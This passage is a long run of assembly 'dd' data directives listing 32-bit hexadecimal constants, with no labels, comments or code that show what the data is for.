dd 0AB29BD23h, 6ED8E600h, 60D15AE3h, 52416038h, 1C8FF947h
dd 36A8B1Ch, 0F900A293h, 787BD9D3h, 65CD00C2h, 0A740C62h
dd 7739E98Ch, 0AE7D8BCEh, 331604DEh, 0E1DA8A8Dh, 59206957h
dd 7781701h, 0D26050DFh, 9D533600h, 4A745A3h, 0E20A7B18h
dd 489BE91Fh, 95876931h, 1D73860Ch, 258B810Ch, 0FBBC26h
dd 2EF78C85h, 0CF5131E8h, 2C835D07h, 67E06358h, 8A2FD9h
dd 0F04E4820h, 0AA686252h, 0BA02B075h, 0DE42390Fh, 0E574E074h
dd 257C007Fh, 0BDB78666h, 0E6FCB45Fh, 0D8037170h, 0E7B107FAh
dd 0CF905099h, 0D6D00EC0h, 90927578h, 59957E53h, 0B01C0F0Bh
dd 9C4E20ADh, 168DEDE6h, 0DDD48Ah, 63CBC032h, 0B500AA60h
dd 9E944A4Dh, 17F3538h, 6C222587h, 0F80B0E78h, 5D125455h
dd 0A9B4C581h, 3ED7683h, 5C242C87h, 18A66268h, 0F80C893Ch
dd 11138D32h, 30880F1Ch, 0B81E049Eh, 4A2B33C0h, 3EF68A05h
dd 0C186BBEAh, 63906858h, 83E224F0h, 5B9D30DCh, 20A8EC5Dh
dd 18F1296h, 58C75DD8h, 5BD134FFh, 5343C481h, 578E0F8Bh
dd 0C78AE789h, 0C06210Ch, 0E9C43C87h, 0FC50C301h, 72D65AFFh
dd 1DD79E4h, 2EC5B876h, 0D7030616h, 0C053E0F8h, 88198C00h
dd 0F31739DAh, 29253D22h, 74F4BE07h, 38FCD1D5h, 6518C098h
dd 6BBBA00h, 0A9755276h, 8AF21Dh, 7B3329B3h, 5EAC03B7h
dd 8913F000h, 0B57D534h, 586B003Fh, 6C30EB91h, 0D700773Bh
dd 89C18B41h, 972D7DBDh, 0C9F7703Bh, 0B7B7515Ah, 286D01EEh
dd 2E43A3F6h, 0F8BF4633h, 5B15A7h, 8B525090h, 66310FF9h
dd 3D5A35FAh, 10600EC7h, 7F02EE78h, 348C5F90h, 646EAE71h
dd 8589D407h, 2F69CA1Dh, 18031884h, 0A0311EA2h, 0A48A0FCBh
dd 0BE660B84h, 0B6D09D1Ah, 1BBB797h, 8984194Bh, 98407E8Dh
dd 0FCC4BF90h, 502A2D57h, 0A501D544h, 4D4106Ch, 6F7FF999h
dd 28E3A18h, 0C5B652Ah, 0F4BCF493h, 0DDD95900h, 1E8FEB96h
dd 2C6E30F4h, 0F88B664Ah, 820E1A97h, 9172D16h, 6DA5FF53h
dd 0D9C74191h, 954C2003h, 0D3FF01E9h, 87B8FC39h, 91402D00h
dd 0B2A3D782h, 0CEBECA60h, 0BFE118C7h, 0B52D0961h, 590B09EDh
dd 95898438h, 0E948F0B9h, 628E5F5Eh, 97312810h, 2383949Ah
dd 9038BBF9h, 4F9B4B15h, 0CDA59D21h, 6702405Dh, 0B5182956h
dd 5E5C2199h, 499D348Bh, 0B84FADF9h, 0E76F383Eh, 0B8372305h
dd 0F5990478h, 81660017h, 9756F1EEh, 0AE5B8309h, 4B31ECD8h
dd 807E93B9h, 5C9B1D5Eh, 39951E80h, 2D0745E3h, 29AFE186h
dd 1CED8594h, 1B8044Fh, 0C4830E2Ch, 85B82F92h, 26B10E88h
dd 0E9011049h, 87BD6C85h, 1B8AC7F0h, 0B02F937h, 0BAB4D6BDh
dd 10236D28h, 4F23B1B5h, 4078588h, 61A6991Bh, 0EC80C47Dh
dd 0A09C43Dh, 4E335F0Ah, 40F88A15h, 0ACCBB800h, 48F295E1h
dd 0A190BD60h, 0B700BA17h, 8A2C1F16h, 1AC22A1h, 5287B46Eh
dd 6D0DBD31h, 0BF5301A8h, 178D3571h, 2F8D9CDFh, 660C213Eh
dd 1136703Ch, 0A64C2704h, 6BBF5EFCh, 3E1A23B0h, 0CA58B680h
dd 897EF89Ch, 0E8BD9D29h, 5AF9A53Ah, 0DB8C2D54h, 0AC062CDh
dd 141C16A2h, 0DB302755h, 0A6202D17h, 795125B0h, 50764976h
dd 87D91340h, 4D5E07E1h, 6060F89Eh, 0C768901h, 8FBDDC1Bh
dd 529D256h, 3A03E05Fh, 51506F25h, 0E7C6AD4Ch, 8E41250Fh
dd 805B49B6h, 9061D76Dh, 697009BEh, 5714F94h, 0D12073A8h
dd 0E7E92A2Ah, 9BB05F80h, 9E52C56Dh, 2DB1B504h, 8170E604h
dd 3173D50h, 6891F231h, 9771E4B2h, 3CC076EDh, 7CD2D42h
dd 3940459Ch, 820FC2A0h, 8D128946h, 0B0EC0E2Dh, 29D9B093h
dd 0C1EEB395h, 9B89598Dh, 7E5BC38Bh, 1B92C70h, 0A8FB0F25h
dd 0D9F57536h, 0E546498Bh, 1B242E04h, 14E9B881h, 0BD27302Bh
dd 1A973499h, 8078B505h, 3268F8D6h, 922FADE7h, 89148B50h
dd 0DC1F748Eh, 85144200h, 0E9E4ED91h, 2FDECF8h, 57D68060h
dd 0BB769D23h, 0A0BD6192h, 138C15ACh, 0E4E941BAh, 32004476h
dd 8B181ECBh, 907F67h, 6B750430h, 11FE1D6h, 8D885F50h
dd 4E2EC92Fh, 4F41BCC2h, 980F362Eh, 0E16AA8E0h, 640050EBh
dd 0EF539370h, 16F0D8D3h, 0B4E95BA9h, 210068BBh, 7BD6F5C6h
dd 758C93h, 0E24CE03h, 40A427B9h, 0E6B0AE25h, 80490397h
dd 24384504h, 18682EF8h, 14AAA504h, 8180E9EDh, 41819501h
dd 97B401Eh, 184B3185h, 44297C8Ch, 0B52F8902h, 0E84841FDh
dd 14E8948h, 119566EAh, 0C8391AD3h, 7378B1C7h, 0F7DFA102h
dd 0C9D6CB0Ah, 590034B6h, 85120161h, 85320381h, 9D8044F8h
dd 97E0894Dh, 7F3E0C98h, 50CA27C6h, 7C7203E0h, 414A5E5Ch
dd 3F873A27h, 70F6C325h, 0A965AE0h, 9C92F9F8h, 0F6BF6609h
dd 0F19A1194h, 15899620h
dd 0FC176D85h, 0C07A27C0h, 0D5008BF6h, 57188A0Dh, 746FC4Bh
dd 0ACA562CBh, 58D492FBh, 57EF574Dh, 2A090712h, 6FFB7C21h
dd 0D54D50F1h, 6A991A5Eh, 10CDED01h, 0BD48247Ah, 97D3B821h
dd 10EB422h, 25F43DD6h, 0A7C2E5F5h, 0A0E88098h, 4F9F9800h
dd 9EAED16Dh, 61D41E9Bh, 181D01E3h, 2EF59240h, 99AA9B22h
dd 9A2FFEF7h, 0C71AC8E9h, 6877E0FDh, 3D58D53Bh, 9D950B05h
dd 2FE8D213h, 87470E79h, 0DA601BE4h, 0C504152Dh, 0E7F68451h
dd 292593ACh, 3C17C2C5h, 0A200A07Eh, 0D5C1FB56h, 0DF2A687Bh
dd 0DEB092B4h, 6A400445h, 64E92888h, 84091329h, 0C625BB2Ah
dd 7FB86EBDh, 5946AA04h, 0F1B936C2h, 80709B4Ah, 6423FFD9h
dd 698605E5h, 0FC969CE8h, 10E6804Bh, 1325238Eh, 0F485C751h
dd 0D112730Ah, 0F9E11A36h, 16986E2Bh, 0FFF39852h, 2512E24Ch
dd 0CEF7E621h, 0ACA7162Bh, 0AEDF02A0h, 99E87C04h, 6BC2F25h
dd 636613D2h, 0E5B10973h, 923E6201h, 1D91EE04h, 0D1B4900Ch
dd 0F6AD049Ah, 4FDF9E5h, 4B0053B8h, 112D9EE8h, 40A331Bh
dd 90BE663Fh, 0C67ADB5Dh, 4238CDh, 0D78110C7h, 3B92334Dh
dd 6316F96h, 406AE8FFh, 78A87D86h, 82167E88h, 120455CEh
dd 5AED5EFEh, 8816CBB8h, 7CA289FBh, 0C9B53109h, 0A5B59413h
dd 290C8858h, 80E2613h, 0FC070C81h, 4D9F852h, 5E0635AFh
dd 1D4E2C33h, 0B3D64D41h, 4473F8CDh, 4D850800h, 0D72E153h
dd 0A902F100h, 0EBABA1A5h, 0A3B90982h, 0D2D359ACh, 281C8E70h
dd 24AAF72Dh, 18319249h, 734E0E52h, 0F2175E78h, 89A1CFE9h
dd 920DBDFCh, 0CEE8757Fh, 4CC0394Bh, 0A1F4411h, 0ADDE6300h
dd 60E9B783h, 0F390BFF9h, 9403D5E0h, 0FC61D750h, 0EBEE13B4h
dd 3077E8F6h, 3EE1060h, 1CB94BCAh, 9D3185BAh, 211ED06Dh
dd 54D1D8Dh, 1C3CECECh, 408E55CDh, 0F5074B1h, 5862FEBFh
dd 5E20495Ah, 0EE00F4E4h, 411CC24Fh, 4F82FC27h, 0D2682489h
dd 8B0622B9h, 0D34F95C5h, 0C73D6E40h, 80EF012Ah, 0E183F78Bh
dd 293C3001h, 80B7BDB5h, 0A2718F64h, 5E2E6C2Bh, 0CD161F92h
dd 908B744Ah, 5595C56Eh, 3E44C7B8h, 9F8D8623h, 74201567h
dd 9052862h, 6061897Ch, 12DCB6FEh, 34837B66h, 0E07EF620h
dd 0B55E6D8Ah, 17956990h, 220126F8h, 0E2D0700Bh, 1B201DB0h
dd 7785AAB1h, 830296B7h, 51C79DABh, 821000E4h, 9F3672A0h
dd 0B9BB5D00h, 68FC154Ah, 73AF6546h, 0E879B922h, 7621757Dh
dd 95091372h, 5B644AC5h, 0EBB114F1h, 8A2007A2h, 0A61BEE3h
dd 8B70F83Eh, 0E141AF43h, 0F21C4D1Fh, 399D8B21h, 0EA041C25h
dd 0DFDC1A8Dh, 0BD2500B7h, 55FE07DEh, 6A277AF1h, 2A5BE19Bh
dd 0E4805F00h, 5AE80D57h, 9314326Ah, 0ED269ED2h, 18D16225h
dd 1CB53D77h, 4BF7C0F6h, 0C71332DCh, 8BB3D015h, 0A8C85A31h
dd 0B2AD0787h, 0C1CE3528h, 4C912D1Eh, 3DBD2E95h, 5338002h
dd 0DC6F6D15h, 104D7658h, 414C2B01h, 0DE88D3Bh, 0DE0EA477h
dd 8985BC0Eh, 48891FD2h, 0B3FC1E72h, 7FD958AFh, 2ABD87B0h
dd 0ED2DFC80h, 0EF67C0BAh, 0E9018CC7h, 9A6EE70h, 0C655898Dh
dd 1D231F6Bh, 8A31DF00h, 18437034h, 3228EAF0h, 19483D9Dh
dd 35F59327h, 0FAF3E54Ch, 0D38101A9h, 1FA6DF0Ah, 0BF80EBBCh
dd 0EA82B368h, 69938254h, 0CDB8001Ch, 0B392EBFCh, 74CE56D7h
dd 3AC514C8h, 0CA22CCh, 0D6E64FB2h, 8DC10376h, 0AFC6F02h
dd 0E029C9C2h, 0A6619D47h, 39366BECh, 7B83FC37h, 9FAAABFAh
dd 7086BAE0h, 0BB660B85h, 898274Bh, 3B030E36h, 0BE7DF403h
dd 8AF24194h, 30E9ED7Dh, 540A92B8h, 670DB64Ch, 8C3B45B9h
dd 0BD1023AAh, 247B0DE1h, 243F4DD3h, 0E909DEE4h, 820CE1A5h
dd 9138D5Eh, 7E4088DEh, 580A78BAh, 0D9109E76h, 85C71234h
dd 4C761FDDh, 3E4A28E6h, 17A2E5B3h, 92A330h, 8060CDFBh
dd 12E8F1D7h, 63C021C0h, 6AC1B0Ch, 0EEBFD691h, 7000AABBh
dd 7B356F1Ch, 7FEBB888h, 5E451D36h, 35F3BF61h, 0F643E99Dh
dd 8592F0F1h, 0DD32B58Fh, 89A48B57h, 0DC1DFEB0h, 7E0DBC2Fh
dd 0B7B307A1h, 0E9C162BBh, 6081B9DCh, 0A8D88C66h, 35222A3Ch
dd 0FF016A04h, 0C9ACB1B5h, 157F8E9Fh, 89D00FDFh, 0B5909509h
dd 0EF18C1FEh, 43C680Ch, 8FACDC20h, 0D4E5702h, 0C4C2010Bh
dd 32E91A03h, 85C66B06h, 3162871h, 30DF6856h, 7E3BA9C5h
dd 0C18846E9h, 0F8FD1CB2h, 6A503129h, 0A056057Ch, 613B126Eh
dd 0E0E03AC3h, 0BA5FB9F0h, 6EC04E8Bh, 4EE70056h, 3C17CB31h
dd 819301D8h, 5CDE7CEEh, 2FC73A26h, 0BD839B00h, 578E9591h
dd 12097506h, 0C17DD22h, 53501974h, 382FB888h, 8FA84B04h
dd 189DDB0Ch, 0F614AE0Fh, 58565BD3h, 1E827522h, 0AAFE2320h
dd 26784D2Bh, 4D02076Dh, 7277229Ah, 9EF465F1h, 0D11FB140h
dd 0FD310088h, 89B81E6Bh, 280BA9EFh, 8281C292h, 7A2F9197h
dd 20D398ACh, 0E8141A5Dh, 2C5D087Eh, 8D41E4F1h, 239105B9h
dd 8FB64F6Dh, 23A47AE0h, 3F18D10h, 0A5BD2B04h, 2D53E409h
dd 372D439Ch, 86EF00C9h, 0A0CDE993h, 8561975Fh, 4A2AB585h
dd 9730BB8h, 92C47995h, 0C8BB1BE2h, 0F836A9D8h, 6468003Ah
dd 1CB81B08h, 1552B501h, 0B2CF269Eh, 70A55BA7h, 0D71E3FB3h
dd 0FD041276h, 48C1A6FBh, 60410D29h, 1A091FC9h, 0D8DDC1CEh
dd 1B42890Fh, 0E8A48380h, 0A6B74E74h, 4042E2B7h, 8029A931h
dd 6D32B260h, 78D1AE61h, 0DCB39449h, 7DBFFB00h, 23E8F08Bh
dd 0DB4A9307h, 0BD2937E8h, 2844714Bh, 0F3D4B985h, 0D9E069E6h
dd 0C90A0BC1h, 4D06D6E8h, 0E1680EDEh, 1A0225B9h, 69416065h
dd 5AE91212h, 16490064h, 88075869h, 593FE097h, 0E2133B54h
dd 8231DCAh, 2D6989BAh, 1911111Fh, 7B3A0980h, 9B1B8627h
dd 12DD68E8h, 0D3311958h, 784D9C6h, 0D49957E8h, 580FF462h
dd 91A5B531h, 0D2ABE66h, 5A7D9526h, 0A672446h, 1BE1B529h
dd 491117h, 0AE3BCF81h, 45E80ADAh, 1BDB3F0Dh, 7E5AD980h
dd 0F2F587Ch, 3129C68Fh, 8176F9C9h, 29F8002Ch, 7993195h
dd 2305D1A7h, 3016E2A3h, 5B642CFEh, 0AC132361h, 90B8D615h
dd 649FE81Ah, 0BE79A7F3h, 268D608Bh, 70C90468h, 8B00845Ah
dd 61AA2ECEh, 676C6BE8h, 230C9685h, 0CE40DB8h, 40DD0E51h
dd 0E834590Eh, 18E69953h, 0AF13DAE0h, 0CFE6BA66h, 6AD2D5Ch
dd 0F7D0967Bh, 0AB993AB6h, 0DBDDB2B0h, 0D0C4FFD1h, 0E8181D51h
dd 0A68304F8h, 0E7135BD1h, 885DA043h, 0CAC2C92Dh, 1998882h
dd 5809B007h, 60523D48h, 3025297Dh, 32351CA9h, 57565F8Fh
dd 0AE449h, 0CC4470DFh, 0F0CB7CFFh, 0C35FB698h, 3500706Eh
dd 0F65E2885h, 20FCC5C9h, 8E0F7509h, 0E043FC15h, 0B4BA450h
dd 0D400FB74h, 0C03F46F8h, 25B06C45h, 53623A92h, 74709373h
dd 6C899578h, 0C180BD37h, 89DD052Bh, 2915259Dh, 4D9725E6h
dd 0D59140FEh, 96011D0Bh, 935CB52Bh, 0BC328A0Fh, 8C23204Bh
dd 0BA0298D5h, 0AC336552h, 615950h, 0F76359D9h, 0EE0024AEh
dd 0AA22FFD2h, 0A15780Bh, 0BC9ABF62h, 881910B4h, 17FA8414h
dd 0CFDEF215h, 0C8C09EC5h, 5EAA49B4h, 78859393h, 71FE07F4h
dd 260AA92Eh, 271FA03Ah, 0CD698D0Fh, 0EE42D6F8h, 5574A62Bh
dd 5F920055h, 7C2291E0h, 10E5604Ch, 66023471h, 61F93FBAh
dd 0EB9506D8h, 0AD95A8E7h, 0F48DBC1Fh, 4D097484h, 0B71A8992h
dd 0E0784C4h, 5F20AABAh, 0C5163Dh, 0E257A954h, 7C2C5908h
dd 42896609h, 83623704h
dd 2EF3C1Ch, 4FF9F838h, 268041DEh, 3DCB67D7h, 37B2C21Eh
dd 0D5BF6681h, 69205FDDh, 1297B101h, 9C46DB1Ah, 0FD374E80h
dd 9AC3641h, 89784922h, 844A4F54h, 4BC08560h, 95EA0047h
dd 0A6F5162Dh, 0D91F7C35h, 6C13ADDAh, 0C681F101h, 0E9447908h
dd 0B76FA112h, 0E857A412h, 2C991091h, 48A1A640h, 14F82230h
dd 0F32E588Ch, 1A25F24Ch, 40C046CDh, 0BD6127Dh, 0BD33F8FAh
dd 0EB4AC8EBh, 94E0E4B6h, 5402653Dh, 2BFF1109h, 20CE1EBh
dd 0FA98C614h, 6F2A3525h, 0BEF744BDh, 438D1D14h, 61D8142Fh
dd 0B4E65A88h, 0BA65E3E0h, 0F3C09D12h, 0D90183A1h, 8B4C23F9h
dd 6EB91966h, 6805C603h, 0B0374655h, 18353047h, 0B4FCEE66h
dd 7CE90F60h, 56958913h, 2986BEB5h, 0E114185h, 9C4190B5h
dd 1BE203B0h, 6165FB2Ah, 113A58Eh, 0F391E98Dh, 0CA6C5995h
dd 0A761F92Dh, 0FA1D201Ah, 0F9E23897h, 9F75AB10h, 4B971FBh
dd 9E0E0195h, 0E562C0FDh, 5AC534h, 0BFCEFD12h, 56F08549h
dd 0D3DB90D3h, 0FC746581h, 0EDB1A5D9h, 0A1E4CEB5h, 9DEFC153h
dd 3B5F0322h, 454C65EEh, 3DD1608Ah, 15C23127h, 9A0FB412h
dd 0E90B2A88h, 0C45BE7F2h, 70EC601Bh, 0F0AE000Bh, 8B97202Fh
dd 129591BDh, 3EF1466Bh, 2F00A29Eh, 0AF6D5582h, 0E4340734h
dd 0DBF926BBh, 400050B8h, 7A94679Ah, 6A60143Fh, 87F4A6Dh
dd 958A0571h, 4BBF80FDh, 2101A16Fh, 0C2051CBEh, 99B66470h
dd 0F800440h, 296186E2h, 1DF91149h, 0F62F4909h, 0D21FF4A2h
dd 0F181D4E3h, 2D9F71B3h, 0DCA0D4EAh, 0BF234500h, 4E683DF1h
dd 0C7C54E8Ah, 9BC0241Ah, 0EC85C13Dh, 56DE1B1h, 224295E8h
dd 105A7623h, 0B6AB1720h, 0FD5BEB05h, 4E032D50h, 7DC9A146h
dd 0FE18B85Ah, 0F9023F21h, 818BC780h, 6AEF9FE9h, 7A810D51h
dd 0B0F64F35h, 0F5E8D3E1h, 7AB02BEFh, 88904E34h, 0FF00E18Eh
dd 72970A7Bh, 2C1D0713h, 0E2C0E7Ah, 0CA3C505Fh, 317E990h
dd 4792F7D7h, 0B65627C0h, 81C7AA13h, 7AC1BF09h, 0DE60BC67h
dd 0E4B36297h, 97BC00E9h, 0B18B3204h, 6A5F9DCFh, 90F046A6h
dd 3E2EB12h, 0E259D10h, 2772AB40h, 0C5B7164Ch, 874F5980h
dd 0B4A354C7h, 82674005h, 0EF00E05Dh, 199376E6h, 5EC20CFCh
dd 8BD2C0ABh, 0EB1380FBh, 0ADEC50E1h, 0CC33009Fh, 0F17AEEBCh
dd 8D219101h, 3E7019CFh, 9B01167Fh, 0AACF80C7h, 30DCEF76h
dd 0BB448FF6h, 0F43B6C30h, 8A6FDA03h, 0FD462816h, 0B26AD765h
dd 5B8BAC00h, 9D95093Ah, 0E38D1D40h, 9BCF177Bh, 0FD07C0EFh
dd 1F90B11h, 23D1FF93h, 7A05C59Dh, 42AD964Bh, 16095407h
dd 0B03FB7B5h, 26179D8h, 71EACB4Eh, 0B777026Ah, 0EE300ABh
dd 6A1327BEh, 728CBA12h, 1E1E1CF2h, 26D48062h, 6ECBE2C0h
dd 41B78E98h, 4298655h, 0F05F5617h, 0A120BB53h, 5B1CAA29h
dd 0CDE1784Bh, 0AB28A812h, 118E282h, 6A038C0Fh, 0EEA5B373h
dd 8A0CF21Fh, 9D96B07Fh, 0E9124085h, 0C50E112Fh, 4C7C8854h
dd 0F1D467Ch, 0A29EC102h, 5FF19862h, 0BF668500h, 0F69078ACh
dd 2B943724h, 0C89D2909h, 760F90B2h, 0FD109584h, 0E497D68Bh
dd 9AF70039h, 8188C184h, 0A4004DBCh, 1B833176h, 1BA2315h
dd 6351EAABh, 2E506159h, 0E2BFFA20h, 4A400020h, 56DBA8C6h
dd 0A405CF42h, 908A3E68h, 0E6E0C2A6h, 3009FADEh, 40319D8Bh
dd 70FF64C4h, 0D761A235h, 9BA4930Bh, 0FF744113h, 0A3C8A014h
dd 0F6EC0019h, 0A48CC1Fh, 0C89D1CA6h, 286461DBh, 9F272589h
dd 1BC07CEDh, 37C6D10h, 128AFD1h, 0FD9D59B5h, 0F5F8D25Dh
dd 0F3C37A80h, 81BFA7D9h, 0FF6A5BDCh, 0FCB8302Dh, 0EDAE7E00h
dd 0BD33D7ABh, 0F785AA6Dh, 0B111FE8Bh, 0AB442AB5h, 64D2E5B3h
dd 26E9022Ch, 0E1BFBA78h, 0D5F83148h, 1FA0BD18h, 852971E4h
dd 98D8995Bh, 8A37C70Bh, 0C8B680D8h, 52165660h, 21EC585Fh
dd 1E93612Dh, 8BDA1200h, 11B509C1h, 0C810BD1Ah, 9110C381h
dd 2E98BB3Ch, 0C8482BFAh, 0A62022BEh, 6BCF0052h, 6116B1C0h
dd 3BE08F8Dh, 0D7A00D00h, 0D629C4F1h, 250F5C47h, 1E519D09h
dd 0D163F4DAh, 0BA57F85Ah, 4002DCE9h, 8B759BBBh, 0F845854Fh
dd 5E835B50h, 0A6067007h, 5D3606DEh, 5E539F8Ch, 780E1922h
dd 0B2F10260h, 0D03B6148h, 4FD59288h, 23A1BDA5h, 17026EB8h
dd 0CD958953h, 76A3F530h, 0DFB97ACBh, 3B313F46h, 442FDC8Ah
dd 344F84E8h, 97BF4A00h, 28641EA1h, 61CA583h, 953360FEh
dd 612D6375h, 0F691189h, 532085DEh, 5BDB8C05h, 808078E8h
dd 0E5F46B03h, 18E45600h, 1DB53F61h, 0DE5F0210h, 8ADAA4B1h
dd 2925C25Ch, 17E71A9h, 0DE83B58Dh, 8303E15h, 4AA2E12h
dd 0C158D36Fh, 6AE8C314h, 0C046DB85h, 0EAEB1396h, 8C5A5B11h
dd 494EB901h, 0C5A69E12h, 2025BD1Fh, 29FCA781h, 1630B82Ch
dd 0A852FC6Fh, 14910B8h, 610AB43Ch, 4781B85Fh, 95249CF8h
dd 8B6C69B7h, 0CF24D1D9h, 910EDD61h, 0D22B1613h, 86B9F5FDh
dd 0D8276D86h, 80F0B6E2h, 33ADFEB7h, 52C4D1C2h, 798083D0h
dd 56F475h, 93A1BF51h, 5F5B7AB6h, 0C7B54DB7h, 7806190Dh
dd 155584A0h, 0C288EDBFh, 0B1088527h, 7A09A1EEh, 0BC8F69DEh
dd 50D3B816h, 69E3058Eh, 1CDCE82Dh, 86C28B50h, 8C10318h
dd 96ACD2F1h, 0BF015819h, 49340BEh, 317F8E0Fh, 5129D28h
dd 8C21AE83h, 0C784F019h, 4C7AEF85h, 408D871Fh, 833FACFh
dd 4CB3B862h, 76BBF8h, 6A45D1Eh, 55B58984h, 3A5D024Ah
dd 0A89E4DD7h, 2903DE80h, 9A5B33ABh, 2C476780h, 0B55498FFh
dd 9102EB92h, 2B181BD9h, 11CE9104h, 21964808h, 1BDE1402h
dd 84C80188h, 0EEF401DEh, 99239E2h, 5F83097h, 33348E9h
dd 0C2860F1Dh, 44646F25h, 2832BA6Dh, 70F5F360h, 6E5C7A7Dh
dd 9C5A17E3h, 0B2820FE1h, 0E180F129h, 611D176h, 464ECD4Ch
dd 1CC90AD8h, 4FCD4B59h, 1DE0C3B6h, 69F87F1Bh, 8D2088B0h
dd 0EF800F30h, 6529333Bh, 0D395CCF8h, 0E50E7893h, 59F0A801h
dd 7F551C4h, 2101F945h, 501EE8DFh, 9DF9202Ah, 9E01EB77h
dd 0EE6119CEh, 4F6FD385h, 8492C8DBh, 0D2C4C5F7h, 0CD556A6Fh
dd 6665E12Dh, 37C6D89Eh, 820EE85Ch, 801F03FFh, 50A8BFA4h
dd 5B38266Eh, 8345351Fh, 80BDD9E0h, 2EBDD5C2h, 895B0558h
dd 0DC245658h, 842C0100h, 2723B063h, 3FA05B7h, 0A4218D9Dh
dd 33FB7997h, 3014E2A5h, 0DF588B01h, 0C81216DDh, 3CE9D116h
dd 0BC146EB8h, 9AD9030h, 2BB0E9D8h, 92D043Ch, 7C48F357h
dd 8596B750h, 81790A69h, 1975BD90h, 53B15100h, 0C7615E1Ch
dd 0D64B4B24h, 0EB50D38h, 85B81135h, 4F2E7CB9h, 4DE0DBF6h
dd 90171AD8h, 47A68985h, 54737EF0h, 0B5D6F12h, 12289009h
dd 0F4D47C99h, 8C7DA20Fh, 0E49A89BFh, 0CE5C0195h, 0BC523B8Fh
dd 0F8EFCC34h, 42515B00h, 44689B0h, 96FE268Bh, 0E4973E1Bh
dd 7772F350h, 5B5F5317h, 252473F8h, 25B54524h, 0E066B6C4h
dd 7E6D82D7h, 256A17E6h, 0C15DB8F2h, 1389BD03h, 7EA72D05h
dd 0E8DD3B99h, 8FB51C40h, 502E0738h, 19615FE1h, 0B4ADFCC2h
dd 498FC932h, 80F728E6h, 8C2EDC87h, 0E8BC0006h, 0EB093ED9h
dd 0EA03A7F8h, 0DCA87175h, 0DD6E5279h, 2F67884Bh, 0BBC9F400h
dd 0CDF2D875h, 848B4A3Bh, 2802433h, 584080ACh, 974B75Fh
dd 0B71A8DEBh, 9100DDEh, 785CC47Fh, 0BD66C81Ch, 0F5035924h
dd 0DDD92951h, 0BD8E1E28h, 0C70B1568h, 5B631B85h, 0F039B674h
dd 0A92901h, 538F9992h
dd 1A857DBFh, 955F602Ch, 0E39A5F20h, 79C12D52h, 0F876E88h
dd 0FC3C1BBCh, 7645386Ah, 55011546h, 0C30508Ah, 0CC44C111h
dd 0E83DC101h, 70E6B10h, 3E24C16h, 1B6C5258h, 3636EBE7h
dd 736408BCh, 661B2CDCh, 21282950h, 9A581881h, 13570113h
dd 0C08B811Bh, 19B8CE6Dh, 9448E616h, 0C9EF7B0Eh, 4D0A05CBh
dd 0A96D82F1h, 0E01FA9B8h, 27C5B57Bh, 6FCABBBCh, 578F8517h
dd 0B817A9A2h, 94AD1229h, 0B808AB68h, 660C2911h, 0CDB5645Dh
dd 0A9AEE063h, 7500F8B9h, 89249F07h, 2F8D8B60h, 26FB2625h
dd 11CAD700h, 0E89BE1BAh, 0F6109F9h, 6B84D9BFh, 0F0F93412h
dd 32028DA8h, 69D7809Ah, 0A9C240FCh, 0C1BD9D1Ah, 0EE6D5A01h
dd 6360F4B3h, 0A69DD306h, 0CD2BE096h, 500A005Ah, 3866570Dh
dd 957209CFh, 0BD26A5B5h, 0C725CDE9h, 23E573F8h, 301BB2C3h
dd 1300CEB8h, 91E3A543h, 4E0F9623h, 60E64E8Ah, 8E37BB34h
dd 0D6800911h, 29969EB7h, 895B57Eh, 5CBC94Bh, 0ABB4713Ah
dd 2A11458Dh, 56747B20h, 7A700015h, 2DD7BCE3h, 0FD5099D0h
dd 1C4A05C4h, 0B8E88DB9h, 13DB9303h, 88DC9DDEh, 48E380EDh
dd 0CD34BD0Eh, 0A561D995h, 8402FA18h, 0A04F9DDDh, 0FF5C7841h
dd 5BA51070h, 80359E01h, 0D51C96D4h, 0E3A90068h, 89AAF380h
dd 4F95C486h, 9E806142h, 0A9D7CAF5h, 1C9855CFh, 0D15A8D01h
dd 0E3B7DF84h, 3716A4Bh, 83F9747Fh, 72BFE8C2h, 658C05B8h
dd 0B6205089h, 8E37E080h, 4DF20258h, 0A99D890Ah, 0F89632DEh
dd 0DC6FBB05h, 3EE6DC12h, 0A43C23E0h, 0FA8A8718h, 8204C55Eh
dd 49B8BA04h, 0F481DEFCh, 55C8F54Eh, 294F001Bh, 320D8D3Fh
dd 5200821Ah, 0A7DDB05Dh, 403E37F9h, 8C12CBDFh, 0AD655B33h
dd 9DE5570Dh, 4D24F78h, 5264909h, 0D7E4E896h, 8A9D0014h
dd 35C57108h, 510201D9h, 0EF4B28C8h, 4B067E1Bh, 2C81AD47h
dd 9BD0FF50h, 5F61D1E4h, 53D0285Bh, 17E6BF88h, 12EB738h
dd 9D0396C0h, 4ED82CF1h, 0D40069A2h, 0B0DFC42Fh, 720336EFh
dd 90663FFCh, 0E12BE2F1h, 5F02018Bh, 0F7817C90h, 6E206B7Fh
dd 9602F005h, 0F505F40Bh, 2FA464B4h, 0DD5520EAh, 0AB003E6Bh
dd 503F560Eh, 2675A68h, 8CD25DD4h, 83C0018Ah, 12422A09h
dd 0C060524Bh, 96A96E6Bh, 0B8E0504Ah, 0FA1B7738h, 65DA528Bh
dd 0F8B70F09h, 2107B725h, 2A18C1E4h, 681B2DEh, 484B88BBh
dd 6DA0E834h, 0AC00AECFh, 4892FEBAh, 151CD80h, 0CC0C065Ch
dd 7849C127h, 0BDED807Bh, 9D42AC56h, 0A191704h, 0A24C75Bh
dd 0A24E1B10h, 0D77F0088h, 0B40E39B6h, 0F3CF25E7h, 0F0B12304h
dd 94A10256h, 0D72FA331h, 13CB2878h, 48820C3Ch, 0B30403ACh
dd 0E1C8C6DCh, 48164A09h, 45B85993h, 1DB8086Eh, 0D301D520h
dd 36E9E5CEh, 0D3C6FFF3h, 66577203h, 3D213CDAh, 0BFB87577h
dd 5101BE1h, 16DCB04h, 0E2C18B07h, 0A3F0AD9Dh, 0CD7D3A97h
dd 32C76013h, 0E6BDEBDCh, 0CF801728h, 93E918h, 179AE0BBh
dd 4AE7B362h, 0BC33BD6Ah, 278970B3h, 69DB1F75h, 0EF62D0h
dd 3BC4F88h, 7EB79247h, 1FDDDDA0h, 651388A4h, 0FB6165Ch
dd 393360F0h, 5CFA42B7h, 74932648h, 0E1001C46h, 97B143BFh
dd 9631F2A3h, 531A8B2h, 0B98C0405h, 8CA3121Dh, 0D27E5800h
dd 0D374322Fh, 0FA768F00h, 140ED998h, 76C8AAE1h, 0B300DCB6h
dd 0D1EA2B20h, 4BA44CADh, 82398933h, 39BD8B52h, 0CF088A2Ch
dd 0D8547863h, 0E6E79C67h, 0BF7701DBh, 2D389456h, 0D8F62B5Fh
dd 553219B2h, 35042CC4h, 5A5BD09h, 0FC775BDh, 81379C88h
